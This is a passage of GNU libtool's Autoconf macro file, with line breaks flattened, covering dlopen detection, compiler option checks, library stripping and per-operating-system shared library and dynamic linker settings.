[AC_CHECK_FUNC([dlopen], [lt_cv_dlopen="dlopen"], [AC_CHECK_LIB([dl], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"], [AC_CHECK_LIB([svld], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"], [AC_CHECK_LIB([dld], [dld_link], [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-ldld"]) ]) ]) ]) ]) ]) ;; esac if test "x$lt_cv_dlopen" != xno; then enable_dlopen=yes else enable_dlopen=no fi case $lt_cv_dlopen in dlopen) save_CPPFLAGS="$CPPFLAGS" test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" save_LDFLAGS="$LDFLAGS" wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" save_LIBS="$LIBS" LIBS="$lt_cv_dlopen_libs $LIBS" AC_CACHE_CHECK([whether a program can dlopen itself], lt_cv_dlopen_self, [dnl _LT_TRY_DLOPEN_SELF( lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) ]) if test "x$lt_cv_dlopen_self" = xyes; then wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" AC_CACHE_CHECK([whether a statically linked program can dlopen itself], lt_cv_dlopen_self_static, [dnl _LT_TRY_DLOPEN_SELF( lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) ]) fi CPPFLAGS="$save_CPPFLAGS" LDFLAGS="$save_LDFLAGS" LIBS="$save_LIBS" ;; esac case $lt_cv_dlopen_self in yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; *) enable_dlopen_self=unknown ;; esac case $lt_cv_dlopen_self_static in yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; *) enable_dlopen_self_static=unknown ;; esac fi _LT_DECL([dlopen_support], [enable_dlopen], [0], [Whether dlopen is supported]) _LT_DECL([dlopen_self], [enable_dlopen_self], [0], [Whether dlopen of programs is supported]) _LT_DECL([dlopen_self_static], [enable_dlopen_self_static], [0], [Whether dlopen of statically linked programs is supported]) ])# LT_SYS_DLOPEN_SELF # Old name: AU_ALIAS([AC_LIBTOOL_DLOPEN_SELF], [LT_SYS_DLOPEN_SELF]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], []) # _LT_COMPILER_C_O([TAGNAME]) # --------------------------- # Check to see if options -c and -o are simultaneously supported by compiler. # This macro does not hard code the compiler like AC_PROG_CC_C_O. m4_defun([_LT_COMPILER_C_O], [m4_require([_LT_DECL_SED])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_TAG_COMPILER])dnl AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)], [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no $RM -r conftest 2>/dev/null mkdir conftest cd conftest mkdir out echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="-o out/conftest2.$ac_objext" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&AS_MESSAGE_LOG_FD echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes fi fi chmod u+w . 2>&AS_MESSAGE_LOG_FD $RM conftest* # SGI C++ compiler will create directory out/ii_files/ for # template instantiation test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files $RM out/* && rmdir out cd .. $RM -r conftest $RM conftest* ]) _LT_TAGDECL([compiler_c_o], [lt_cv_prog_compiler_c_o], [1], [Does compiler simultaneously support -c and -o options?]) ])# _LT_COMPILER_C_O # _LT_COMPILER_FILE_LOCKS([TAGNAME]) # ---------------------------------- # Check to see if we can do hard links to lock some files if needed m4_defun([_LT_COMPILER_FILE_LOCKS], [m4_require([_LT_ENABLE_LOCK])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl _LT_COMPILER_C_O([$1]) hard_links="nottested" if test "$_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then # do not overwrite the value of need_locks provided by the user AC_MSG_CHECKING([if we can lock with hard links]) hard_links=yes $RM conftest* ln conftest.a conftest.b 2>/dev/null && hard_links=no touch conftest.a ln conftest.a conftest.b 2>&5 || hard_links=no ln conftest.a conftest.b 2>/dev/null && hard_links=no AC_MSG_RESULT([$hard_links]) if test "$hard_links" = no; then AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe]) need_locks=warn fi else need_locks=no fi _LT_DECL([], [need_locks], [1], [Must we lock files when doing compilation?]) ])# _LT_COMPILER_FILE_LOCKS # _LT_CHECK_OBJDIR # ---------------- m4_defun([_LT_CHECK_OBJDIR], [AC_CACHE_CHECK([for objdir], [lt_cv_objdir], [rm -f .libs 2>/dev/null mkdir .libs 2>/dev/null if test -d .libs; then lt_cv_objdir=.libs else # MS-DOS does not allow filenames that begin with a dot. lt_cv_objdir=_libs fi rmdir .libs 2>/dev/null]) objdir=$lt_cv_objdir _LT_DECL([], [objdir], [0], [The name of the directory that contains temporary libtool files])dnl m4_pattern_allow([LT_OBJDIR])dnl AC_DEFINE_UNQUOTED(LT_OBJDIR, "$lt_cv_objdir/", [Define to the sub-directory in which libtool stores uninstalled libraries.]) ])# _LT_CHECK_OBJDIR # _LT_LINKER_HARDCODE_LIBPATH([TAGNAME]) # -------------------------------------- # Check hardcoding attributes. m4_defun([_LT_LINKER_HARDCODE_LIBPATH], [AC_MSG_CHECKING([how to hardcode library paths into programs]) _LT_TAGVAR(hardcode_action, $1)= if test -n "$_LT_TAGVAR(hardcode_libdir_flag_spec, $1)" || test -n "$_LT_TAGVAR(runpath_var, $1)" || test "X$_LT_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then # We can hardcode non-existent directories. if test "$_LT_TAGVAR(hardcode_direct, $1)" != no && # If the only mechanism to avoid hardcoding is shlibpath_var, we # have to relink, otherwise we might link with an installed library # when we should be linking with a yet-to-be-installed one ## test "$_LT_TAGVAR(hardcode_shlibpath_var, $1)" != no && test "$_LT_TAGVAR(hardcode_minus_L, $1)" != no; then # Linking always hardcodes the temporary library directory. _LT_TAGVAR(hardcode_action, $1)=relink else # We can link without hardcoding, and we can hardcode nonexisting dirs. _LT_TAGVAR(hardcode_action, $1)=immediate fi else # We cannot hardcode anything, or else we can only hardcode existing # directories. _LT_TAGVAR(hardcode_action, $1)=unsupported fi AC_MSG_RESULT([$_LT_TAGVAR(hardcode_action, $1)]) if test "$_LT_TAGVAR(hardcode_action, $1)" = relink || test "$_LT_TAGVAR(inherit_rpath, $1)" = yes; then # Fast installation is not supported enable_fast_install=no elif test "$shlibpath_overrides_runpath" = yes || test "$enable_shared" = no; then # Fast installation is not necessary enable_fast_install=needless fi _LT_TAGDECL([], [hardcode_action], [0], [How to hardcode a shared library path into an executable]) ])# _LT_LINKER_HARDCODE_LIBPATH # _LT_CMD_STRIPLIB # ---------------- m4_defun([_LT_CMD_STRIPLIB], [m4_require([_LT_DECL_EGREP]) striplib= old_striplib= AC_MSG_CHECKING([whether stripping libraries is possible]) if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" test -z "$striplib" && striplib="$STRIP --strip-unneeded" AC_MSG_RESULT([yes]) else # FIXME - insert some real tests, host_os isn't really good enough case $host_os in darwin*) if test -n "$STRIP" ; then striplib="$STRIP -x" old_striplib="$STRIP -S" AC_MSG_RESULT([yes]) else AC_MSG_RESULT([no]) fi ;; *) AC_MSG_RESULT([no]) ;; esac fi _LT_DECL([], [old_striplib], [1], [Commands to strip libraries]) _LT_DECL([], [striplib], [1]) ])# _LT_CMD_STRIPLIB # _LT_SYS_DYNAMIC_LINKER([TAG]) # ----------------------------- # PORTME Fill in your ld.so characteristics m4_defun([_LT_SYS_DYNAMIC_LINKER], [AC_REQUIRE([AC_CANONICAL_HOST])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_OBJDUMP])dnl m4_require([_LT_DECL_SED])dnl AC_MSG_CHECKING([dynamic linker characteristics]) m4_if([$1], [], [ if test "$GCC" = yes; then case $host_os in darwin*) lt_awk_arg="/^libraries:/,/LR/" ;; *) lt_awk_arg="/^libraries:/" ;; esac lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$lt_search_path_spec" | $GREP ';' >/dev/null ; then # if the path contains ";" then we assume it to be the separator # otherwise default to the standard path separator (i.e. ":") - it is # assumed that no part of a normal pathname contains ";" but that should # okay in the real world where ";" in dirpaths is itself problematic. lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e 's/;/ /g'` else lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi # Ok, now we have the path, separated by spaces, we can step through it # and add multilib dir if necessary. lt_tmp_lt_search_path_spec= lt_multi_os_dir=`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` for lt_sys_path in $lt_search_path_spec; do if test -d "$lt_sys_path/$lt_multi_os_dir"; then lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path/$lt_multi_os_dir" else test -d "$lt_sys_path" && \ lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" fi done lt_search_path_spec=`$ECHO $lt_tmp_lt_search_path_spec | awk ' BEGIN {RS=" "; FS="/|\n";} { lt_foo=""; lt_count=0; for (lt_i = NF; lt_i > 0; lt_i--) { if ($lt_i != "" && $lt_i != ".") { if ($lt_i == "..") { lt_count++; } else { if (lt_count == 0) { lt_foo="/" $lt_i lt_foo; } else { lt_count--; } } } } if (lt_foo != "") { lt_freq[[lt_foo]]++; } if (lt_freq[[lt_foo]] == 1) { print lt_foo; } }'` sys_lib_search_path_spec=`$ECHO $lt_search_path_spec` else sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" fi]) library_names_spec= libname_spec='lib$name' soname_spec= shrext_cmds=".so" postinstall_cmds= postuninstall_cmds= finish_cmds= finish_eval= shlibpath_var= shlibpath_overrides_runpath=unknown version_type=none dynamic_linker="$host_os ld.so" sys_lib_dlsearch_path_spec="/lib /usr/lib" need_lib_prefix=unknown hardcode_into_libs=no # when you set need_version to no, make sure it does not cause -set_version # flags to be left without arguments need_version=unknown case $host_os in aix3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' shlibpath_var=LIBPATH # AIX 3 has no versioning support, so we append a major version to the name. soname_spec='${libname}${release}${shared_ext}$major' ;; aix[[4-9]]*) version_type=linux need_lib_prefix=no need_version=no hardcode_into_libs=yes if test "$host_cpu" = ia64; then # AIX 5 supports IA64 library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH else # With GCC up to 2.95.x, collect2 would create an import file # for dependence libraries. The import file would start with # the line `#! .'. This would cause the generated library to # depend on `.', always an invalid library. This was fixed in # development snapshots of GCC prior to 3.0. case $host_os in aix4 | aix4.[[01]] | aix4.[[01]].*) if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' echo ' yes ' echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then : else can_build_shared=no fi ;; esac # AIX (on Power*) has no versioning support, so currently we can not hardcode correct # soname into executable. Probably we can add versioning support to # collect2, so additional links can be useful in future. if test "$aix_use_runtimelinking" = yes; then # If using run time linking (on AIX 4.2 or later) use lib.so # instead of lib.a to let people know that these are not # typical AIX shared libraries. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' else # We preserve .a as extension for shared libraries through AIX4.2 # and later when we are not doing run time linking. library_names_spec='${libname}${release}.a $libname.a' soname_spec='${libname}${release}${shared_ext}$major' fi shlibpath_var=LIBPATH fi ;; amigaos*) case $host_cpu in powerpc) # Since July 2007 AmigaOS4 officially supports .so libraries. # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' ;; m68k) library_names_spec='$libname.ixlibrary $libname.a' # Create ${libname}_ixlibrary.a entries in /sys/libs. finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' ;; esac ;; beos*) library_names_spec='${libname}${shared_ext}' dynamic_linker="$host_os ld.so" shlibpath_var=LIBRARY_PATH ;; bsdi[[45]]*) version_type=linux need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" # the default ld.so.conf also contains /usr/contrib/lib and # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow # libtool to hard-code these into programs ;; cygwin* | mingw* | pw32* | cegcc*) version_type=windows shrext_cmds=".dll" need_version=no need_lib_prefix=no case $GCC,$host_os in yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*) library_names_spec='$libname.dll.a' # DLL is installed to $(libdir)/../bin by postinstall_cmds postinstall_cmds='base_file=`basename \${file}`~ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~ dldir=$destdir/`dirname \$dlpath`~ test -d \$dldir || mkdir -p \$dldir~ $install_prog $dir/$dlname \$dldir/$dlname~ chmod a+x \$dldir/$dlname~ if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; fi' postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ dlpath=$dir/\$dldll~ $RM \$dlpath' shlibpath_overrides_runpath=yes case $host_os in cygwin*) # Cygwin DLLs use 'cyg' prefix rather than 'lib' soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" ;; mingw* | cegcc*) # MinGW DLLs use traditional 'lib' prefix soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then # It is most probably a Windows format PATH printed by # mingw gcc, but we are running on Cygwin. Gcc prints its search # path with ; separators, and with drive letters. We can handle the # drive letters (cygwin fileutils understands them), so leave them, # especially as we might pass files found there to a mingw objdump, # which wouldn't understand a cygwinified path. Ahh. sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` else sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi ;; pw32*) # pw32 DLLs use 'pw' prefix rather than 'lib' library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' ;; esac ;; *) library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib' ;; esac dynamic_linker='Win32 ld.exe' # FIXME: first we should search . and the directory the executable is in shlibpath_var=PATH ;; darwin* | rhapsody*) dynamic_linker="$host_os dyld" version_type=darwin need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext' soname_spec='${libname}${release}${major}$shared_ext' shlibpath_overrides_runpath=yes shlibpath_var=DYLD_LIBRARY_PATH shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' m4_if([$1], [],[ sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib"]) sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' ;; dgux*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; freebsd1*) dynamic_linker=no ;; freebsd* | dragonfly*) # DragonFly does not have aout. When/if they implement a new # versioning mechanism, adjust this. if test -x /usr/bin/objformat; then objformat=`/usr/bin/objformat` else case $host_os in freebsd[[123]]*) objformat=aout ;; *) objformat=elf ;; esac fi version_type=freebsd-$objformat case $version_type in freebsd-elf*) library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' need_version=no need_lib_prefix=no ;; freebsd-*) library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' need_version=yes ;; esac shlibpath_var=LD_LIBRARY_PATH case $host_os in freebsd2*) shlibpath_overrides_runpath=yes ;; freebsd3.[[01]]* | freebsdelf3.[[01]]*) shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \ freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1) shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; *) # from 4.6 on, and DragonFly shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; esac ;; gnu*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH hardcode_into_libs=yes ;; hpux9* | hpux10* | hpux11*) # Give a soname corresponding to the major version so that dld.sl refuses to # link against other versions. version_type=sunos need_lib_prefix=no need_version=no case $host_cpu in ia64*) shrext_cmds='.so' hardcode_into_libs=yes dynamic_linker="$host_os dld.so" shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' if test "X$HPUX_IA64_MODE" = X32; then sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" else sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" fi sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; hppa*64*) shrext_cmds='.sl' hardcode_into_libs=yes dynamic_linker="$host_os dld.sl" shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; *) shrext_cmds='.sl' dynamic_linker="$host_os dld.sl" shlibpath_var=SHLIB_PATH shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' ;; esac # HP-UX runs *really* slowly unless shared libraries are mode 555. postinstall_cmds='chmod 555 $lib' ;; interix[[3-9]]*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; irix5* | irix6* | nonstopux*) case $host_os in nonstopux*) version_type=nonstopux ;; *) if test "$lt_cv_prog_gnu_ld" = yes; then version_type=linux else version_type=irix fi ;; esac need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' case $host_os in irix5* | nonstopux*) libsuff= shlibsuff= ;; *) case $LD in # libtool.m4 will add one of these switches to LD *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= libmagic=32-bit;; *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 libmagic=N32;; *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 libmagic=64-bit;; *) libsuff= shlibsuff= libmagic=never-match;; esac ;; esac shlibpath_var=LD_LIBRARY${shlibsuff}_PATH shlibpath_overrides_runpath=no sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" hardcode_into_libs=yes ;; # No shared lib support for Linux oldld, aout, or coff. linux*oldld* | linux*aout* | linux*coff*) dynamic_linker=no ;; # This must be Linux ELF. linux* | k*bsd*-gnu) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no # Some binutils ld are patched to set DT_RUNPATH save_LDFLAGS=$LDFLAGS save_libdir=$libdir eval "libdir=/foo; wl=\"$_LT_TAGVAR(lt_prog_compiler_wl, $1)\"; \ LDFLAGS=\"\$LDFLAGS $_LT_TAGVAR(hardcode_libdir_flag_spec, $1)\"" AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], [AS_IF([ ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null], [shlibpath_overrides_runpath=yes])]) LDFLAGS=$save_LDFLAGS libdir=$save_libdir # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. hardcode_into_libs=yes # Add ABI-specific directories to the system library path. sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" # Append ld.so.conf contents to the search path if test -f /etc/ld.so.conf; then lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '` sys_lib_dlsearch_path_spec="$sys_lib_dlsearch_path_spec $lt_ld_extra" fi # We used to test for /lib/ld.so.1 and disable shared libraries on # powerpc, because MkLinux only supported shared libraries with the # GNU dynamic linker. Since this was broken with cross compilers, # most powerpc-linux boxes support dynamic linking these days and # people can always --disable-shared, the test was removed, and we # assume the GNU/Linux dynamic linker is in use. dynamic_linker='GNU/Linux ld.so' ;; netbsd*) version_type=sunos need_lib_prefix=no need_version=no if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' dynamic_linker='NetBSD (a.out) ld.so' else library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='NetBSD ld.elf_so' fi shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; newsos6) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes ;; *nto* | *qnx*) version_type=qnx need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes dynamic_linker='ldqnx.so' ;; openbsd*) version_type=sunos sys_lib_dlsearch_path_spec="/usr/lib" need_lib_prefix=no # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs. case $host_os in openbsd3.3 | openbsd3.3.*) need_version=yes ;; *) need_version=no ;; esac library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' shlibpath_var=LD_LIBRARY_PATH if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then case $host_os in openbsd2.[[89]] | openbsd2.[[89]].*) shlibpath_overrides_runpath=no ;; *) shlibpath_overrides_runpath=yes ;; esac else shlibpath_overrides_runpath=yes fi ;; os2*) libname_spec='$name' shrext_cmds=".dll" need_lib_prefix=no library_names_spec='$libname${shared_ext} $libname.a' dynamic_linker='OS/2 ld.exe' shlibpath_var=LIBPATH ;; osf3* | osf4* | osf5*) version_type=osf need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" ;; rdos*) dynamic_linker=no ;; solaris*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes # ldd complains unless libraries are executable postinstall_cmds='chmod +x $lib' ;; sunos4*) version_type=sunos library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes if test "$with_gnu_ld" = yes; then need_lib_prefix=no fi need_version=yes ;; sysv4 | sysv4.3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH case $host_vendor in sni) shlibpath_overrides_runpath=no need_lib_prefix=no runpath_var=LD_RUN_PATH ;; siemens) need_lib_prefix=no ;; motorola) need_lib_prefix=no need_version=no shlibpath_overrides_runpath=no sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' ;; esac ;; sysv4*MP*) if test -d /usr/nec ;then version_type=linux library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' soname_spec='$libname${shared_ext}.$major' shlibpath_var=LD_LIBRARY_PATH fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) version_type=freebsd-elf need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes if test "$with_gnu_ld" = yes; then sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' else sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' case $host_os in sco3.2v5*) 